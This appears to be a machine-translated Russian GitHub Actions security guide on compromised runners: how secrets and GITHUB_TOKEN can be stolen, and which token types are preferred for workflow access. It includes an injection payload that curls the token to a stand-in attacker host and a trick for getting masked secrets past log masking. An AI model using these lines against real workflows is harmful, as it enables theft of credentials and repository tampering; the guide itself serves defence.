Скомпрометированные бегуна

Сведения о рисках безопасности, связанных с скомпрометированных данных GitHub Actions.

В этой статье

Потенциальное влияние скомпрометированного средства выполнения тестов

В этих разделах рассматриваются некоторые шаги, которые может предпринять злоумышленник, если он сможет запускать вредоносные команды в средстве выполнения тестов GitHub Actions.

Доступ к секретам

Рабочие процессы, активированные из вилированного репозитория с помощью pull_request события, имеют разрешения только для чтения и не имеют доступа к секретам. Однако эти разрешения отличаются для различных триггеров событий, таких как issue_comment, push issuesи pull_request из ветви в репозитории, где злоумышленник может попытаться украсть секреты репозитория или использовать разрешение на запись заданияGITHUB_TOKEN.

  • Если для секрета или маркера задана переменная среды, прямой доступ к нему можно получить через окружение с помощью printenv.

  • Если секрет используется непосредственно в выражении, созданный сценарий оболочки хранится на диске и является доступным.

  • Для пользовательского действия риск может варьироваться в зависимости от того, как программа использует секрет, полученный из аргумента:

    uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}

Хотя GitHub Actions удаляет из памяти секреты, на которые не ссылается рабочий процесс (или включенное действие), определенный злоумышленник может собрать GITHUB_TOKEN и любые секреты, на которые указывает ссылка.

Извлечение данных из средства выполнения тестов

Злоумышленник может получить все украденные секреты или другие данные от средства выполнения тестов. Чтобы предотвратить случайное раскрытие секрета, GitHub Actions автоматически скрывает секреты, напечатанные в журнале, но это не является реальной границей безопасности, так как секреты могут быть намеренно отправлены в журнал. Например, скрытые секреты можно перенести с помощью echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Кроме того, так как злоумышленник может выполнять произвольные команды, он может использовать HTTP-запросы для отправки секретов или других данных репозитория на внешний сервер.

Кража GITHUB_TOKEN задания

Злоумышленник может украсть GITHUB_TOKEN задания. Средство выполнения тестов GitHub Actions автоматически получает созданный GITHUB_TOKEN с разрешениями, которые ограничены только репозиторием, содержащим рабочий процесс, и срок действия маркера истекает после завершения задания. После истечения срока действия токен больше ничем не поможет злоумышленнику. Чтобы обойти это ограничение, злоумышленники могут автоматизировать атаку и выполнить ее в доли секунды путем вызова управляемого злоумышленником сервера с токеном, например: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Изменение содержимого репозитория

Злоумышленник может использовать API GitHub для изменения содержимого[ репозитория, включая выпуски GITHUB_TOKEN , если назначенные разрешения не ограничены.](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)

Доступ между репозиторием

GitHub Actions намеренно ограничивается до одного репозитория за один раз. GITHUB_TOKEN предоставляет тот же уровень доступа, что и у пользователя с доступом на запись, так как любой пользователь с доступом на запись может получить доступ к этому токену, создав или изменив файл рабочего процесса, повышая разрешения GITHUB_TOKEN, если есть необходимость. У пользователей есть определенные разрешения для каждого репозитория, поэтому разрешение GITHUB_TOKEN для одного репозитория предоставлять доступ к другому повлияет на модель разрешений GitHub, если она не реализована тщательно. Аналогичным образом следует соблюдать осторожность при добавлении токенов проверки подлинности GitHub в рабочий процесс, так как это также может повлиять на модель разрешений GitHub путем случайного предоставления широкого доступа к участникам совместной работы.

Если ваша организация принадлежит корпоративной учетной записи, вы можете совместно использовать и повторно использовать GitHub Actions путем хранения их во внутренних репозиториях. Дополнительные сведения см. в разделе Совместное использование действий и рабочих процессов с вашим предприятием.

Вы можете выполнять другие привилегированные взаимодействия между репозиториями, ссылаясь на маркер проверки подлинности GitHub или ключ SSH в качестве секрета в рабочем процессе. Так как многие типы токенов проверки подлинности не обеспечивают детальный доступ к определенным ресурсам, существует значительный риск при использовании неправильного типа токена, потому что он может предоставить гораздо более широкий доступ, чем предполагалось.

В этом списке описаны рекомендуемые подходы по доступу к данным репозитория в рамках рабочего процесса в порядке убывания предпочтения:

  1. Токен GITHUB_TOKEN
    • Этот токен намеренно привязан к одному репозиторию, вызвавшему рабочий процесс, и может иметь тот же уровень доступа, что и пользователь доступа на запись в репозитории. Токен создается перед началом каждого задания и истекает по его завершении. Дополнительные сведения см. в разделе Использование GITHUB_TOKEN в рабочих процессах.
    • GITHUB_TOKEN следует использовать всякий раз, когда это возможно.
  2. Ключи развертывания репозитория
    • Ключи развертывания — это один из немногих типов учетных данных, которые предоставляют доступ на чтение или запись к одному репозиторию и могут использоваться для взаимодействия с другим репозиторием в рамках рабочего процесса. Дополнительные сведения см. в разделе Управление ключами развертывания.
    • Обращаем ваше внимание на то, что ключи развертывания могут клонировать и отправлять их в репозиторий с помощью Git и не могут использоваться для взаимодействия с REST API или API GraphQL, поэтому они могут не соответствовать вашим требованиям.
  3. Токены GitHub App
  4. personal access tokens
    • Никогда не следует использовать personal access token (classic). Эти токены предоставляют доступ ко всем репозиториям внутри организаций, к которым у вас есть доступ, а также ко всем личным репозиториям в вашем личном кабинете. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс.
    • Если вы используете personal access token, вы никогда не должны использовать personal access token из собственной учетной записи. Если позже вы покидаете организацию, рабочие процессы, использующие этот маркер, немедленно прерывают работу, и отладка этой проблемы может оказаться сложной. Вместо этого следует использовать fine-grained personal access token для новой учетной записи, которая принадлежит вашей организации, и она предоставляет доступ только к определенным репозиториям, необходимым для рабочего процесса. Обратите внимание, что этот подход не является масштабируемым и его следует избегать в пользу альтернативных вариантов, таких как развертывание ключей.
  5. Ключи SSH в личной учетной записи
    • Для рабочих процессов никогда не следует использовать ключи SSH в личной учетной записи. Как и personal access tokens (classic), они предоставляют разрешения на чтение и запись всем личным репозиториям, а также всем репозиториям, к которым у вас есть доступ через членство в организации. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс. Если вы собираетесь использовать ключ SSH, потому что вам нужно только выполнять клонирование или отправку репозитория и не нужно взаимодействовать с общедоступными API, вместо этого вам следует использовать отдельные ключи развертывания.

Следующие шаги

Рекомендации по обеспечению безопасности с помощью GitHub Actionsсм. в разделе Справочник по безопасному использованию.